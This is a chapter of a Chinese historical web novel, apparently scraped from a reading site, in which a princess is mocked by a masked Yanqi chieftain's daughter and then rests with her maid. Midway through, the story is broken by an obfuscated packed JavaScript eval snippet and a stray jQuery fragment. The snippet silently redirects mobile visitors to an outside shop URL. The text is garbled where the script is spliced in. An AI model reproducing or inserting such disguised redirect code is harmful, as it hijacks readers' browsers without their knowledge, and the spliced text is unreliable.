对于李熙螓的不解,这焉耆女子很是讥诮,“一个即将被替代掉的人,若不是对方高抬贵手饶她一命,何来后来的事呢?对了,你拿什么来感谢我呢?你好像没有正真认识过我呢,可是我却对你事了如指掌,是不是很气愤?”
她笑得前仰后合,一点不顾琥珀在一旁敌视的神情。
她慢慢凑近,面上的纱巾随风晃动,离得这么近李熙螓却依旧看不仔细纱巾下的面容。
她目光聚焦在李熙螓黛眉间,若有所思道:“呦,还真有一颗痣,这么小的痣还藏在眉间,亏那宰相夫人还看出来了。”
李熙螓突然对她面容起了兴趣,便将她遮面之物扯了下来,定睛道:“所以,你此次前来自爆身份,除了为了让我认识你,还有就是为了佐证你的失败?无论哪个原因,都不如让我先看看你的真面目。”
李熙螓知她所说的“高抬贵手”为何意,上次将她绑来焉耆寨灌下毒蛊,而没有要她的命是为高抬贵手。
只是她半说半藏,好似很高深的模样,不过是来秀一秀自己那妄自尊大的优越感,以此抚慰她那空虚的内心。
纱巾缓缓落地,乔娴一时之间没料到下意识将手挡住脸部,有一瞬得错愕后,猝然意识到什么又将手放下不再急于遮掩什么。
李熙螓看着她的脸,看来她是有备而来的,只是没有料到会被突然扯掉面巾,所以下意识的动作才能说明问题:这不是她的真面目。
对于李熙螓的似乎能穿透她一般的注视,而不自觉地拧起眉,怒声道:“看什么?信不信我将你眼珠子剜出来!”
琥珀听到这一句不干了,“请你善言,你可知站在你面前的是谁!”
李熙螓却止住琥珀,不紧不慢地开口道:“你急什么,越是恼怒,越是因为心里没底?我不过想研究研究人皮面具什么材质罢了。倒想不到是豕皮做的?触感模样真如人皮,手艺倒是不错。”
焉耆人现有的面容疙疙瘩瘩凹凹缺缺的,能如普通人面容一样的确要花费一番功夫。
只是不曾想,一层面纱之下还有一层人皮面具。都在她的地盘了还伪装的这么累,自然是自卑到了极致,又自负到了极致。
面对李熙螓神色自若的赞许,有种她是个跳梁的丑角般引人发笑,她反而恼羞成怒了,“你什么都知道?”
“该知道的,不该知道的,都知道了。”李熙螓神色淡漠,说罢也消散了大半讥讽之意,亦没心情跟她斗法。
琥珀看到对方越发剑拔弩张,忙警戒地挡在她身前,满眼警惕地看着她。
“我们娘子身体还没好全,需要休息,还请出去!”琥珀毫不客气道。
乔娴听后不以为然:“身体没好?这么点毒便要死不活的,一月有余了,就算没有解药,那毒蛊也该适应了,装什么?”
随即她看着她面容和身影只是纤瘦,却远不如中那蛊毒会得的骷髅般的模样。
所以她吃了谁的解药?突然她想到什么,嗤笑道:“哦,我忘记,你若不装装柔弱样子,龙契又怎会为你去拼上性命呢?我阿爷也是跟着疯了似的帮你,带领焉耆人去拼命,何其不值!”
李熙螓只觉得莫名其妙,但也因此知晓了她,她说的阿爷就是那位巴哈尔,也是焉耆寨的首领,所以她就是那个首领的女儿无疑了。
看李熙螓无动于衷没有理会她,她竟变本加厉起来,越过琥珀盯着她,目露挑衅道:“说来你是否也快成亡国奴了呢?”
琥珀赤着眼,伸手去推乔娴往外走,“你满嘴喷些什么?快出去!”
乔娴步子一迈,躲开琥珀的推搡。
“被我说中了就恼羞成怒?这李唐王朝很快就不姓李了,该改姓朱了吧?”
她也不等琥珀再赶她,看李熙螓面色沉静如水毫无反应,半晌没理会她,她便也觉得兴致索然,没趣极了,“不知你高高在上的,要装到什么时候!”
说着就着外头的夜色离开了。
琥珀气鼓鼓地跑去将门关紧,暗暗擦了泪去,“公主你不要气着了,当她是个疯子就是了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13755039|145488||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
如今竟什么阿猫阿狗也能来奚落公主!
李熙螓淡然道:“我自然不会生气的,她的目的不过想看我恼羞成怒发疯给她瞧罢了,一个喜欢看戏的,你扫她兴便是,看不到想要的,心中憋闷自然会走。”
“还是公主看的透彻,若换做以前,我一定将她嘴撕烂,再拿起扫帚将她打出去!”琥珀忿忿道。
李熙螓破颜笑了笑,所以就连琥珀都成长了,她知道鲁莽换不来好,还会惹来烦扰。
她看着外头的天色有些昏暗,到处已经亮了灯火,在漆黑如墨的山里十分耀目。
琥珀正在整理床铺,这床就是泥土夯成的,铺上席子垫上陈旧的被褥就可以睡,她边整理边皱着眉头叹气。
以前在庄子里,公主睡的床榻可是上好的沉木,被褥也是顶好的料子用细密的针脚缝制的,里头填充的更是精挑细选好的鹅绒,哪像现在这样住山寨子里,睡得又冷又硬,还得被人蹬鼻子上脸,指着鼻子骂。
“我去门口吹吹风。”李熙螓说罢缓缓往外走。
“公主,我陪你!”听到她要
去吹风,她迅速收拾好,便亦步亦趋跟着一同出了门槛。
李熙螓抬头望着星空,恍惚间好像回到了一年前,在庄子一样,她看星星,一群丫鬟陪着她一起看,还载歌,载舞,无忧无虑哪有忧扰。
她茫然翕唇,问琥珀可记得那时的时光。
琥珀勤勤点头当然说记得。
忽然她想起了阿爷的模样,几个月前来长安时阿爷头发还没有白得这样厉害,今日马车内一见竟然霎时间老了好多,这段时日一定是受了极大得打击,而此次迁都他又会遭遇什么,要面对什么,她根本想像不到。
月色皎洁,照在人身上仿若渡了一层莹润的光彩,四周流萤星星点点,停在手心,一滞一滞。
“还没休息?”
一个轻柔得声音在不远处响起,她回头看去,看到了龙契迈步走来,不禁疑惑,“你不是受了伤,怎么能出来吹风?”